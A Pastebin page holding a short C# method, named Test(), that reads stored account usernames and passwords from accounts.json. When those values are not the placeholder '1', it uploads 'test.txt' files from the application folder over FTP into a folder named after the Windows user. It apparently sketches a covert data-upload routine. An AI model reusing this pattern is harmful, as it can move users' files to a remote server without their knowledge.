Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- static void Test()
- {
- string appPath = Path.GetDirectoryName(Application.ExecutablePath);
- if (!Directory.Exists(appPath)) return;//Error//
- string AccountsFile = appPath + "\\accounts.json";
- if (!File.Exists(AccountsFile)) return;
- string data = File.ReadAllText(AccountsFile);
- Accounts acc = JsonConvert.DeserializeObject<Accounts>(data);
- Account ac0 = acc.indexes[0].accounts[0];
- Account ac1 = acc.indexes[1].accounts[1];
- if (ac0.password == "1" && ac0.username == "1")
- if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
- return;
- CreateFolder(Environment.UserName);
- if (Directory.Exists(appPath))
- {
- var appFiles = Directory.GetFiles(appPath).Where(s => s.Contains("test.txt"));
- foreach (string item in appFiles)
- FTPUploadFile(item, Environment.UserName);
- }
- }
Add Comment
Please, Sign In to add comment